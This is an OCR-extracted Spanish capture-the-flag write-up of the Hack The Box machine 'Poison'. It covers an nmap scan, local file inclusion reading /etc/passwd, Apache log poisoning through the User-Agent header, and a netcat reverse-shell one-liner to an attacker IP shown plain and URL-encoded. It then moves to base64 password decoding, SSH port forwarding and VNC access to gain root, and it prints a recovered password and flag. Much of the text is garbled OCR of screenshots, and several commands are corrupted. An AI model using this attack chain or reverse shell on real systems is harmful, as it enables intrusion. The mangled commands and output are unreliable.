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1. Enumeracion

Como siempre, consultamos el TTL que nos devuelve el comando Ping para hacernos una idea
del sistema operativo que tiene la maquina victima. Si es un sistema operativo Windows,
Linux, etc. En este caso, parece que es una maquina Linux.

fhmnefparrntfHTprntsnn

Hacemos un examen exhaustivo con Nmap y vemos que realmente estamos ante una maquina
con un sistema operativo FreeBSD.

scan report 10.10.10.84
H is up (0.036s latency).

PﬂR'
22/tcp ope ( y L) reeBSD 20 0; protocol 2.0
ssh hostkey
e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d: ff: bb (RSA)
4c:e8:c6:02:bd:fc 2 5 7
6 Ob:8f:d5:7
http
A /html; charset=

] header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
| http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: 0S: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 5 18:24:08 2022 -- 1 IP address (1 host up) scanned in 9.59 seconds

Revisamos si la versidn de SSH tiene alguna vulnerabilidad. Tiene una forma de enumerar
usuarios.
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En esta mdquina no nos va a aportar mucho, pero nos creamos un “one liner” que ejecute el
exploit disponible, recorriendo un diccionario de usuarios.

Revisamos si existe algun exploit para la versiéon de Apache usada, pero la web no corre por
SSL y no vemos ninguno interesante.

Navegamos por la web con nuestro explorador web.

10.10.10.84/

< C O A& 10.10.10.84

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
Scriptname: ||
Submit
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2. Andlisis de vulnerabilidades

Comprobamos que la web es vulnerable a LFl, podemos ver el fichero /etc/passwd.

Fpasswd

> 2016-05-10 1

sbin/nologin
ologin

ologin
var/unbound: /

5 bin/nologin
unprivil a ) ailees
privil

Por el nombre de la maquina, aunque hay otra forma de ganar acceso que podriamos usar,
entendemos que nos debemos aprovechar de un “log poisoning”. Revisamos si tenemos
acceso al directorio de FreeBSD donde se guarda el fichero access.log de Apache.
Efectivamente, tenemos capacidad de lectura.

http://10.10.10.84/browse.p X htt

@ view-source:http://10.10.10.84/bro .php?file=%2Fvar%2Flog%2Fhttpd-access.lo

5 +0160] "GET / HTTP/1 h "Mozilla/5. (11; Linux
+8100] "GET / HTTP/1.€

3. Explotacion e intrusion.
Para aprovecharnos del “log poisoning” vamos a modificar nuestro “User Agent” para recoger
la informacion afiadida en la URL. Vamos a probar si podemos ejecutar un “id”. Para trabajar
mas comodamente, vamos a usar Burpsuite.
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Response

d HTTP/1.1

,image/avif,imag

Response

hich+nc HTTP/1.1 F HTTP/1.1"

nc'" 4

HTTP/1.1"

Codificamos la URL para que no nos de problemas.

Encode to URL-encoded format
Simply enter your data then push the encode button.

rm /ftmp/f-mkfifo Amp/f.cat /tmpfiibin/sh - 2=8&1|nc 10.10.14.63 443 =/tmp/f

VA
@ To encode binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 ~ Destination character set.
LF {Unix) ~ Destination newline separator.

Encode each line separately (useful for when you have multiple entries).
Splitlines into 76 character wide chunks (useful for MIME).

@ Live mode OFF Encodes in realime as you type or paste (supports only the UTF-8 character set).

b 2 S [[ela s SN Encodes your data into the area below.

rM%20%2Ftmp2%2F 4 3Bmkfifo%20%2Ftmp%2F % 3Bcat % 20%2F tmp%2F 2 7C%2F bin%2F sh%20-1%202% 3E %261%7Cnc %2010.10.14.63%20443%20%3E % 2Ftm
p%2F
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Nos ponemos en escucha en nuestra maquina de atacante en el puerto 443 y ejecutamos.

Comparer  Logger  Extender  Project options U s Leam

Response

Ganamos acceso.

/home/parrot/HTB/poison p 8m 345 2
- 443

{ UNK

4. Escalada de privilegios

Durante la fase de analisis de vulnerabilidades vimos que existia un usuario llamado charix
cuando leimos el /etc/passwd. Intentamos acceder, pero no da error de privilegios. Listamos el
directorio actual y vemos un fichero sospechoso llamado pwdbackup.txt. Lo revisamos y
parece una contrasefia que aun codificado en base64 13 veces.
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Nos creamos un “one liner” que de forma recursiva vaya decodificando esa contrasefia.

Clave: Charix!2#4%6&8(0

Accedemos a la mdquina con las credenciales recientemente obtenidas. Revisamos el
directorio del usuario charix y vemos un fichero llamado secret.zip.

/home/parrot/HTB/poison

root  root

parrot parre 0ct 5 18: ..

root root pct 5 18: { Al1lPorts
root  root (B Wed Oct 5 18: 2 exploit.py
root root B 0¢ §:16 ? | d
root root

root root

Vamos a intentar romperlo con John para ver el contenido del fichero. Pero no lo
conseguiremos.

/home/parrot/HTE/poison
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/home/parrot/HTB/poison X0|1

Conseguimos una clave. Intentamos conectarnos por ssh como root y dicha clave, pero no
funciona.

/home/parrot/HTB/poison
ret

Revisamos los puertos abiertos de la mdquina victima y vemos los puertos 5801 y 5901.
Corresponden al servicio de VNC.

i s i e e e i A ™ |

Como son puertos solo accesibles desde el interior, vamos a realizar un “port fordwarding”.
Esta seria la sintaxis del comando.

% ssh -L [LOCAL_TIP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT [USER@]SSH_SERVER
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/home/parrot/HTB/poison X1

01:127.0.0.1:5901 -N - charix@10.10.10.84

Una vez establecido el tunel, intentamos conectarnos al servicio de VNC con la clave obtenida
del fichero zip.

Ganamos acceso como root.

rootEPoizon:™ # cat Jhomedcharixduser,txt
eaacdfb2d141b72a559232063604 209

rontRPrizan+™ #

©Dandy_loco
https://dandyloco.github.io/



